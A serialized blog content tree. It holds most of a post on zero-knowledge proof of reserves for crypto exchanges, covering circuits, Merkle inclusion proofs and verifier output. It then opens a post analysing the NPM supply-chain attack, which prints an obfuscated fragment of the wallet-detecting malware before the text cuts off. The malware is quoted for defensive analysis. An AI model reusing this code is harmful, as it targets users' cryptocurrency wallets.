ag":168,"props":93945,"children":93947},{"className":93946},[1439],[93948,93953],{"type":19,"tag":168,"props":93949,"children":93951},{"className":93950},[1439,19043],[93952],{"type":24,"value":81834},{"type":19,"tag":168,"props":93954,"children":93956},{"className":93955},[1456],[93957],{"type":19,"tag":168,"props":93958,"children":93960},{"className":93959},[1461,19097],[93961,93990],{"type":19,"tag":168,"props":93962,"children":93964},{"className":93963},[1466],[93965,93985],{"type":19,"tag":168,"props":93966,"children":93968},{"className":93967,"style":90587},[1471],[93969],{"type":19,"tag":168,"props":93970,"children":93971},{"style":90591},[93972,93976],{"type":19,"tag":168,"props":93973,"children":93975},{"className":93974,"style":1481},[1480],[],{"type":19,"tag":168,"props":93977,"children":93979},{"className":93978},[1486,1487,1488,1489],[93980],{"type":19,"tag":168,"props":93981,"children":93983},{"className":93982},[1439,1489],[93984],{"type":24,"value":1452},{"type":19,"tag":168,"props":93986,"children":93988},{"className":93987},[19200],[93989],{"type":24,"value":19203},{"type":19,"tag":168,"props":93991,"children":93993},{"className":93992},[1466],[93994],{"type":19,"tag":168,"props":93995,"children":93997},{"className":93996,"style":90618},[1471],[93998],{"type":19,"tag":168,"props":93999,"children":94000},{},[],{"type":19,"tag":168,"props":94002,"children":94004},{"className":94003},[1552],[94005],{"type":24,"value":1555},{"type":19,"tag":168,"props":94007,"children":94009},{"className":94008,"style":1559},[1520],[],{"type":19,"tag":168,"props":94011,"children":94013},{"className":94012},[1439,19043],[94014],{"type":24,"value":92003},{"type":19,"tag":168,"props":94016,"children":94018},{"className":94017},[1439,19043],[94019],{"type":24,"value":8095},{"type":19,"tag":168,"props":94021,"children":94023},{"className":94022},[1439],[94024,94029],{"type":19,"tag":168,"props":94025,"children":94027},{"className":94026},[1439,19043],[94028],{"type":24,"value":81834},{"type":19,"tag":168,"props":94030,"children":94032},{"className":94031},[1456],[94033],{"type":19,"tag":168,"props":94034,"children":94036},{"className":94035},[1461,19097],[94037,94066],{"type":19,"tag":168,"props":94038,"children":94040},{"className":94039},[1466],[94041,94061],{"type":19,"tag":168,"props":94042,"children":94044},{"className":94043,"style":90587},[1471],[94045],{"type":19,"tag":168,"props":94046,"children":94047},{"style":90591},[94048,94052],{"type":19,"tag":168,"props":94049,"children":94051},{"className":94050,"style":1481},[1480],[],{"type":19,"tag":168,"props":94053,"children":94055},{"className":94054},[1486,1487,1488,1489],[94056],{"type":19,"tag":168,"props":94057,"children":94059},{"className":94058},[1439,1489],[94060],{"type":24,"value":1442},{"type":19,"tag":168,"props":94062,"children":94064},{"className":94063},[19200],[94065],{"type":24,"value":19203},{"type":19,"tag":168,"props":94067,"children":94069},{"className":94068},[1466],[94070],{"type":19,"tag":168,"props":94071,"children":94073},{"className":94072,"style":90618},[1471],[94074],{"type":19,"tag":168,"props":94075,"children":94076},{},[],{"type":19,"tag":168,"props":94078,"children":94080},{"className":94079},[1552],[94081],{"type":24,"value":1555},{"type":19,"tag":168,"props":94083,"children":94085},{"className":94084,"style":1559},[1520],[],{"type":19,"tag":168,"props":94087,"children":94089},{"className":94088},[1439],[94090],{"type":24,"value":7032},{"type":19,"tag":168,"props":94092,"children":94094},{"className":94093},[1552],[94095],{"type":24,"value":1555},{"type":19,"tag":168,"props":94097,"children":94099},{"className":94098,"style":1559},[1520],[],{"type":19,"tag":168,"props":94101,"children":94103},{"className":94102},[1439,19043],[94104],{"type":24,"value":92003},{"type":19,"tag":168,"props":94106,"children":94108},{"className":94107},[1439,19043],[94109],{"type":24,"value":8095},{"type":19,"tag":168,"props":94111,"children":94113},{"className":94112},[1439],[94114,94119],{"type":19,"tag":168,"props":94115,"children":94117},{"className":94116},[1439,19043],[94118],{"type":24,"value":81834},{"type":19,"tag":168,"props":94120,"children":94122},{"className":94121},[1456],[94123],{"type":19,"tag":168,"props":94124,"children":94126},{"className":94125},[1461,19097],[94127,94161],{"type":19,"tag":168,"props":94128,"children":94130},{"className":94129},[1466],[94131,94156],{"type":19,"tag":168,"props":94132,"children":94134},{"className":94133,"style":90587},[1471],[94135],{"type":19,"tag":168,"props":94136,"children":94137},{"style":90591},[94138,94142],{"type":19,"tag":168,"props":94139,"children":94141},{"className":94140,"style":1481},[1480],[],{"type":19,"tag":168,"props":94143,"children":94145},{"className":94144},[1486,1487,1488,1489],[94146],{"type":19,"tag":168,"props":94147,"children":94149},{"className":94148},[1439,1489],[94150],{"type":19,"tag":168,"props":94151,"children":94153},{"className":94152},[1439,1489],[94154],{"type":24,"value":94155},"31",{"type":19,"tag":168,"props":94157,"children":94159},{"className":94158},[19200],[94160],{"type":24,"value":19203},{"type":19,"tag":168,"props":94162,"children":94164},{"className":94163},[1466],[94165],{"type":19,"tag":168,"props":94166,"children":94168},{"className":94167,"style":90618},[1471],[94169],{"type":19,"tag":168,"props":94170,"children":94171},{},[],{"type":19,"tag":168,"props":94173,"children":94175},{"className":94174},[19194],[94176],{"type":24,"value":524},{"type":24,"value":3893},{"type":19,"tag":51,"props":94179,"children":94180},{},[94181],{"type":24,"value":92323},{"type":19,"tag":47,"props":94183,"children":94184},{},[94185,94190,94191],{"type":19,"tag":293,"props":94186,"children":94187},{},[94188],{"type":24,"value":94189},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":24,"value":3893},{"type":19,"tag":51,"props":94192,"children":94193},{},[94194],{"type":24,"value":92607},{"type":19,"tag":20,"props":94196,"children":94197},{},[94198],{"type":24,"value":94199},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":19,"tag":20,"props":94201,"children":94202},{},[94203],{"type":19,"tag":1344,"props":94204,"children":94206},{"alt":48061,"src":94205},"/posts/por/recursive-circuit.png",[],{"type":19,"tag":36,"props":94208,"children":94210},{"id":94209},"global-proof-and-inclusion-proofs",[94211],{"type":24,"value":94212},"Global Proof and Inclusion Proofs",{"type":19,"tag":7050,"props":94214,"children":94215},{"id":6722},[94216],{"type":24,"value":94217},"Proving",{"type":19,"tag":20,"props":94219,"children":94220},{},[94221,94223,94229,94230,94236,94237,94243],{"type":24,"value":94222},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":19,"tag":27,"props":94224,"children":94226},{"className":94225},[],[94227],{"type":24,"value":94228},"merkle_tree.json",{"type":24,"value":471},{"type":19,"tag":27,"props":94231,"children":94233},{"className":94232},[],[94234],{"type":24,"value":94235},"final_proof.json",{"type":24,"value":3923},{"type":19,"tag":27,"props":94238,"children":94240},{"className":94239},[],[94241],{"type":24,"value":94242},"private_nonces.json",{"type":24,"value":94244}," files.",{"type":19,"tag":20,"props":94246,"children":94247},{},[94248],{"type":24,"value":94249},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":19,"tag":20,"props":94251,"children":94252},{},[94253,94255,94261,94263,94268],{"type":24,"value":94254},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":19,"tag":27,"props":94256,"children":94258},{"className":94257},[],[94259],{"type":24,"value":94260},"inclusion_proof_\u003Cid>.json",{"type":24,"value":94262},"). ",{"type":19,"tag":293,"props":94264,"children":94265},{},[94266],{"type":24,"value":94267},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":24,"value":948},{"type":19,"tag":7050,"props":94270,"children":94272},{"id":94271},"verifying",[94273],{"type":24,"value":94274},"Verifying",{"type":19,"tag":20,"props":94276,"children":94277},{},[94278],{"type":19,"tag":51,"props":94279,"children":94280},{},[94281],{"type":24,"value":94282},"Global Proof",{"type":19,"tag":20,"props":94284,"children":94285},{},[94286,94288,94293,94294,94299],{"type":24,"value":94287},"To verify the global proof, the code deserializes the ",{"type":19,"tag":27,"props":94289,"children":94291},{"className":94290},[],[94292],{"type":24,"value":94228},{"type":24,"value":35025},{"type":19,"tag":27,"props":94295,"children":94297},{"className":94296},[],[94298],{"type":24,"value":94235},{"type":24,"value":94300}," files and performs these checks:",{"type":19,"tag":2869,"props":94302,"children":94303},{},[94304,94309,94314,94319,94345],{"type":19,"tag":47,"props":94305,"children":94306},{},[94307],{"type":24,"value":94308},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":19,"tag":47,"props":94310,"children":94311},{},[94312],{"type":24,"value":94313},"Verify the ZK final proof.",{"type":19,"tag":47,"props":94315,"children":94316},{},[94317],{"type":24,"value":94318},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":19,"tag":47,"props":94320,"children":94321},{},[94322,94324,94330,94332,94337,94338,94343],{"type":24,"value":94323},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":19,"tag":27,"props":94325,"children":94327},{"className":94326},[],[94328],{"type":24,"value":94329},"merkle_tree_hash",{"type":24,"value":94331}," public input. This ensures that the ",{"type":19,"tag":27,"props":94333,"children":94335},{"className":94334},[],[94336],{"type":24,"value":94228},{"type":24,"value":8436},{"type":19,"tag":27,"props":94339,"children":94341},{"className":94340},[],[94342],{"type":24,"value":94235},{"type":24,"value":94344}," are linked (they belong to the same global proof).",{"type":19,"tag":47,"props":94346,"children":94347},{},[94348],{"type":24,"value":94349},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":19,"tag":20,"props":94351,"children":94352},{},[94353],{"type":19,"tag":51,"props":94354,"children":94355},{},[94356],{"type":24,"value":94357},"Inclusion Proof",{"type":19,"tag":20,"props":94359,"children":94360},{},[94361,94363,94368,94370,94375],{"type":24,"value":94362},"To verify the inclusion proof, the code deserializes the ",{"type":19,"tag":27,"props":94364,"children":94366},{"className":94365},[],[94367],{"type":24,"value":94260},{"type":24,"value":94369}," file and also the ",{"type":19,"tag":27,"props":94371,"children":94373},{"className":94372},[],[94374],{"type":24,"value":94235},{"type":24,"value":94376},". After that, it performs these checks:",{"type":19,"tag":2869,"props":94378,"children":94379},{},[94380,94384,94389,94394],{"type":19,"tag":47,"props":94381,"children":94382},{},[94383],{"type":24,"value":94313},{"type":19,"tag":47,"props":94385,"children":94386},{},[94387],{"type":24,"value":94388},"Verify if the Merkle tree root is the same as in the final proof.",{"type":19,"tag":47,"props":94390,"children":94391},{},[94392],{"type":24,"value":94393},"Recalculate the user-related node leaf hash.",{"type":19,"tag":47,"props":94395,"children":94396},{},[94397],{"type":24,"value":94398},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":19,"tag":36,"props":94400,"children":94402},{"id":94401},"por-verifier-server",[94403],{"type":24,"value":94404},"PoR Verifier Server",{"type":19,"tag":20,"props":94406,"children":94407},{},[94408,94410,94416],{"type":24,"value":94409},"To automate the verification process, we created a ",{"type":19,"tag":269,"props":94411,"children":94413},{"href":90046,"rel":94412},[273],[94414],{"type":24,"value":94415},"verifier server",{"type":24,"value":94417}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":19,"tag":20,"props":94419,"children":94420},{},[94421],{"type":24,"value":94422},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":19,"tag":20,"props":94424,"children":94425},{},[94426],{"type":19,"tag":1344,"props":94427,"children":94429},{"alt":48061,"src":94428},"/posts/por/backpack-por.png",[],{"type":19,"tag":20,"props":94431,"children":94432},{},[94433],{"type":24,"value":94434},"Here is a breakdown of what fields represent and why they are required:",{"type":19,"tag":43,"props":94436,"children":94437},{},[94438,94448,94458,94468,94478,94488],{"type":19,"tag":47,"props":94439,"children":94440},{},[94441,94446],{"type":19,"tag":51,"props":94442,"children":94443},{},[94444],{"type":24,"value":94445},"Status",{"type":24,"value":94447}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":19,"tag":47,"props":94449,"children":94450},{},[94451,94456],{"type":19,"tag":51,"props":94452,"children":94453},{},[94454],{"type":24,"value":94455},"Proof Timestamp",{"type":24,"value":94457}," --> when the proof was generated by the exchange.",{"type":19,"tag":47,"props":94459,"children":94460},{},[94461,94466],{"type":19,"tag":51,"props":94462,"children":94463},{},[94464],{"type":24,"value":94465},"Verify Timestamp",{"type":24,"value":94467}," --> when the proof was verified by the PoR server.",{"type":19,"tag":47,"props":94469,"children":94470},{},[94471,94476],{"type":19,"tag":51,"props":94472,"children":94473},{},[94474],{"type":24,"value":94475},"Proof File URL",{"type":24,"value":94477}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":19,"tag":47,"props":94479,"children":94480},{},[94481,94486],{"type":19,"tag":51,"props":94482,"children":94483},{},[94484],{"type":24,"value":94485},"Prover Version",{"type":24,"value":94487}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":19,"tag":47,"props":94489,"children":94490},{},[94491,94496],{"type":19,"tag":51,"props":94492,"children":94493},{},[94494],{"type":24,"value":94495},"File Hash (SHA256)",{"type":24,"value":94497}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":19,"tag":20,"props":94499,"children":94500},{},[94501],{"type":24,"value":94502},"Also, you can check the exchange's liabilities on the website:",{"type":19,"tag":20,"props":94504,"children":94505},{},[94506],{"type":19,"tag":1344,"props":94507,"children":94509},{"alt":48061,"src":94508},"/posts/por/backpack-por-liabilities.png",[],{"type":19,"tag":20,"props":94511,"children":94512},{},[94513,94515,94521,94523,94529],{"type":24,"value":94514},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":19,"tag":269,"props":94516,"children":94519},{"href":94517,"rel":94518},"https://backpack.exchange/reserves",[273],[94520],{"type":24,"value":94517},{"type":24,"value":94522}," and our verifier server for backpack at ",{"type":19,"tag":269,"props":94524,"children":94527},{"href":94525,"rel":94526},"https://backpack-por.osec.io/",[273],[94528],{"type":24,"value":94525},{"type":24,"value":948},{"type":19,"tag":36,"props":94531,"children":94533},{"id":94532},"self-verification",[94534],{"type":24,"value":94535},"Self-verification",{"type":19,"tag":20,"props":94537,"children":94538},{},[94539],{"type":24,"value":94540},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":19,"tag":7050,"props":94542,"children":94544},{"id":94543},"how-to-verify-if-i-was-included",[94545],{"type":24,"value":94546},"How to verify if I was included?",{"type":19,"tag":20,"props":94548,"children":94549},{},[94550],{"type":24,"value":94551},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":19,"tag":2869,"props":94553,"children":94554},{},[94555,94566,94584],{"type":19,"tag":47,"props":94556,"children":94557},{},[94558,94565],{"type":19,"tag":269,"props":94559,"children":94562},{"href":94560,"rel":94561},"https://github.com/otter-sec/por_v2/releases",[273],[94563],{"type":24,"value":94564},"Download the PoRv2 executable from our github",{"type":24,"value":948},{"type":19,"tag":47,"props":94567,"children":94568},{},[94569,94571,94576,94577,94582],{"type":24,"value":94570},"Download the inclusion and the final proof files from the exchange (",{"type":19,"tag":27,"props":94572,"children":94574},{"className":94573},[],[94575],{"type":24,"value":94260},{"type":24,"value":8436},{"type":19,"tag":27,"props":94578,"children":94580},{"className":94579},[],[94581],{"type":24,"value":94235},{"type":24,"value":94583},") and put the files in the same directory as the PoRv2 app.",{"type":19,"tag":47,"props":94585,"children":94586},{},[94587,94589,94595],{"type":24,"value":94588},"Open the terminal and execute this: ",{"type":19,"tag":27,"props":94590,"children":94592},{"className":94591},[],[94593],{"type":24,"value":94594},"./plonky2_por verify-inclusion",{"type":24,"value":948},{"type":19,"tag":20,"props":94597,"children":94598},{},[94599],{"type":24,"value":94600},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":19,"tag":158,"props":94602,"children":94604},{"code":94603},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[94605],{"type":19,"tag":27,"props":94606,"children":94607},{"__ignoreMap":7},[94608],{"type":24,"value":94603},{"type":19,"tag":7050,"props":94610,"children":94612},{"id":94611},"how-can-i-verify-the-global-proof",[94613],{"type":24,"value":94614},"How can I verify the global proof?",{"type":19,"tag":20,"props":94616,"children":94617},{},[94618],{"type":24,"value":94619},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":19,"tag":2869,"props":94621,"children":94622},{},[94623,94632,94650],{"type":19,"tag":47,"props":94624,"children":94625},{},[94626,94631],{"type":19,"tag":269,"props":94627,"children":94629},{"href":94560,"rel":94628},[273],[94630],{"type":24,"value":94564},{"type":24,"value":948},{"type":19,"tag":47,"props":94633,"children":94634},{},[94635,94637,94642,94643,94648],{"type":24,"value":94636},"Download the ",{"type":19,"tag":27,"props":94638,"children":94640},{"className":94639},[],[94641],{"type":24,"value":94228},{"type":24,"value":35025},{"type":19,"tag":27,"props":94644,"children":94646},{"className":94645},[],[94647],{"type":24,"value":94235},{"type":24,"value":94649}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":19,"tag":47,"props":94651,"children":94652},{},[94653,94655,94660],{"type":24,"value":94654},"Open the terminal and execute ",{"type":19,"tag":27,"props":94656,"children":94658},{"className":94657},[],[94659],{"type":24,"value":94594},{"type":24,"value":94661},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":19,"tag":20,"props":94663,"children":94664},{},[94665],{"type":24,"value":94666},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":19,"tag":158,"props":94668,"children":94670},{"code":94669},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[94671],{"type":19,"tag":27,"props":94672,"children":94673},{"__ignoreMap":7},[94674],{"type":24,"value":94669},{"type":19,"tag":20,"props":94676,"children":94677},{},[94678],{"type":24,"value":94679},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":19,"tag":158,"props":94681,"children":94683},{"code":94682},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[94684],{"type":19,"tag":27,"props":94685,"children":94686},{"__ignoreMap":7},[94687],{"type":24,"value":94682},{"type":19,"tag":36,"props":94689,"children":94690},{"id":26402},[94691],{"type":24,"value":16400},{"type":19,"tag":20,"props":94693,"children":94694},{},[94695],{"type":24,"value":94696},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":19,"tag":20,"props":94698,"children":94699},{},[94700,94702,94708],{"type":24,"value":94701},"We are currently working with Backpack to implement this algorithm ",{"type":19,"tag":269,"props":94703,"children":94705},{"href":94517,"rel":94704},[273],[94706],{"type":24,"value":94707},"in production",{"type":24,"value":94709}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":19,"tag":20,"props":94711,"children":94712},{},[94713,94715,94722],{"type":24,"value":94714},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":19,"tag":269,"props":94716,"children":94719},{"href":94717,"rel":94718},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[273],[94720],{"type":24,"value":94721},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":24,"value":948},{"title":7,"searchDepth":198,"depth":198,"links":94724},[94725,94726,94727,94728,94731,94736,94740,94741,94745],{"id":89974,"depth":198,"text":89977},{"id":90055,"depth":198,"text":90058},{"id":90125,"depth":198,"text":90128},{"id":90179,"depth":198,"text":90182,"children":94729},[94730],{"id":90258,"depth":415,"text":90261},{"id":90346,"depth":198,"text":90349,"children":94732},[94733,94734,94735],{"id":90419,"depth":415,"text":90422},{"id":90891,"depth":415,"text":90894},{"id":92630,"depth":415,"text":92633},{"id":94209,"depth":198,"text":94212,"children":94737},[94738,94739],{"id":6722,"depth":415,"text":94217},{"id":94271,"depth":415,"text":94274},{"id":94401,"depth":198,"text":94404},{"id":94532,"depth":198,"text":94535,"children":94742},[94743,94744],{"id":94543,"depth":415,"text":94546},{"id":94611,"depth":415,"text":94614},{"id":26402,"depth":198,"text":16400},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":94750,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":94751,"description":94752,"date":94753,"author":28672,"image":94754,"isFeatured":14,"onBlogPage":14,"tags":94757,"body":94759,"_type":242,"_id":97185,"_source":244,"_file":97186,"_stem":97187,"_extension":247},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":94755,"width":94756,"height":11069},"/posts/supply-chain-attcks/title.png",1536,[220,94758],"supply-chain",{"type":16,"children":94760,"toc":97168},[94761,94774,94779,94784,94790,94795,94803,95133,95141,95704,95712,96419,96425,96430,96436,96441,96446,96452,96457,96469,96474,96500,96587,96599,96624,96640,96645,96650,96856,96898,96903,96915,96921,96933,96975,96988,97068,97080,97093,97100,97111,97119,97125,97138,97143,97147,97152,97164],{"type":19,"tag":20,"props":94762,"children":94763},{},[94764,94766,94772],{"type":24,"value":94765},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":19,"tag":27,"props":94767,"children":94769},{"className":94768},[],[94770],{"type":24,"value":94771},"chalk",{"type":24,"value":94773},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":19,"tag":20,"props":94775,"children":94776},{},[94777],{"type":24,"value":94778},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":19,"tag":20,"props":94780,"children":94781},{},[94782],{"type":24,"value":94783},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":19,"tag":36,"props":94785,"children":94787},{"id":94786},"qix-malware-how-it-worked",[94788],{"type":24,"value":94789},"Qix Malware: How It Worked",{"type":19,"tag":20,"props":94791,"children":94792},{},[94793],{"type":24,"value":94794},"The attacker published modified versions of packages with code designed to do three things:",{"type":19,"tag":2869,"props":94796,"children":94797},{},[94798],{"type":19,"tag":47,"props":94799,"children":94800},{},[94801],{"type":24,"value":94802},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":19,"tag":158,"props":94804,"children":94806},{"code":94805,"language":28837,"meta":7,"className":28835,"style":7},"async function checkethereumw() {\n try {\n const _0x124ed3 = await window.ethereum.request({\n 'method': \"eth_accounts\"\n });\n if (_0x124ed3.length > 0) {\n runmask();\n if (rund != 1) {\n rund = 1;\n neth = 1;\n newdlocal();\n }\n } else if (rund != 1) {\n rund = 1;\n newdlocal();\n }\n }\n}\n",[94807],{"type":19,"tag":27,"props":94808,"children":94809},{"__ignoreMap":7},[94810,94830,94842,94886,94903,94910,94946,94958,94986,95006,95026,95038,95045,95080,95100,95112,95119,95126],{"type":19,"tag":168,"props":94811,"children":94812},{"class":170,"line":171},[94813,94817,94821,94826],{"type":19,"tag":168,"props":94814,"children":94815},{"style":382},[94816],{"type":24,"value":33620},{"type":19,"tag":168,"props":94818,"children":94819},{"style":382},[94820],{"type":24,"value":35689},{"type":19,"tag":168,"props":94822,"children":94823},{"style":175},[94824],{"type":24,"value":94825}," checkethereumw",{"type":19,"tag":168,"props":94827,"children":94828},{"style":212},[94829],{"type":24,"value":13184},{"type":19,"tag":168,"props":94831,"children":94832},{"class":170,"line":198},[94833,94838],{"type":19,"tag":168,"props":94834,"children":94835},{"style":419},[94836],{"type":24,"value":94837}," try",{"type":19,"tag":168,"props":94839,"children":94840},{"style":212},[94841],{"type":24,"value":691},{"type":19,"tag":168,"props":94843,"children":94844},{"class":170,"line":415},[94845,94849,94854,94858,94862,94866,94870,94874,94878,94882],{"type":19,"tag":168,"props":94846,"children":94847},{"style":382},[94848],{"type":24,"value":49151},{"type":19,"tag":168,"props":94850,"children":94851},{"style":393},[94852],{"type":24,"value":94853}," _0x124ed3",{"type":19,"tag":168,"props":94855,"children":94856},{"style":399},[94857],{"type":24,"value":402},{"type":19,"tag":168,"props":94859,"children":94860},{"style":419},[94861],{"type":24,"value":33686},{"type":19,"tag":168,"props":94863,"children":94864},{"style":393},[94865],{"type":24,"value":28880},{"type":19,"tag":168,"props":94867,"children":94868},{"style":212},[94869],{"type":24,"value":948},{"type":19,"tag":168,"props":94871,"children":94872},{"style":393},[94873],{"type":24,"value":28889},{"type":19,"tag":168,"props":94875,"children":94876},{"style":212},[94877],{"type":24,"value":948},{"type":19,"tag":168,"props":94879,"children":94880},{"style":175},[94881],{"type":24,"value":28965},{"type":19,"tag":168,"props":94883,"children":94884},{"style":212},[94885],{"type":24,"value":12587},{"type":19,"tag":168,"props":94887,"children":94888},{"class":170,"line":450},[94889,94894,94898],{"type":19,"tag":168,"props":94890,"children":94891},{"style":181},[94892],{"type":24,"value":94893}," 'method'",{"type":19,"tag":168,"props":94895,"children":94896},{"style":393},[94897],{"type":24,"value":1922},{"type":19,"tag":168,"props":94899,"children":94900},{"style":181},[94901],{"type":24,"value":94902}," \"eth_accounts\"\n",{"type":19,"tag":168,"props":94904,"children":94905},{"class":170,"line":560},[94906],{"type":19,"tag":168,"props":94907,"children":94908},{"style":212},[94909],{"type":24,"value":29729},{"type":19,"tag":168,"props":94911,"children":94912},{"class":170,"line":666},[94913,94917,94921,94926,94930,94934,94938,94942],{"type":19,"tag":168,"props":94914,"children":94915},{"style":419},[94916],{"type":24,"value":9724},{"type":19,"tag":168,"props":94918,"children":94919},{"style":212},[94920],{"type":24,"value":461},{"type":19,"tag":168,"props":94922,"children":94923},{"style":393},[94924],{"type":24,"value":94925},"_0x124ed3",{"type":19,"tag":168,"props":94927,"children":94928},{"style":212},[94929],{"type":24,"value":948},{"type":19,"tag":168,"props":94931,"children":94932},{"style":393},[94933],{"type":24,"value":5941},{"type":19,"tag":168,"props":94935,"children":94936},{"style":399},[94937],{"type":24,"value":11640},{"type":19,"tag":168,"props":94939,"children":94940},{"style":192},[94941],{"type":24,"value":437},{"type":19,"tag":168,"props":94943,"children":94944},{"style":212},[94945],{"type":24,"value":12250},{"type":19,"tag":168,"props":94947,"children":94948},{"class":170,"line":694},[94949,94954],{"type":19,"tag":168,"props":94950,"children":94951},{"style":175},[94952],{"type":24,"value":94953}," 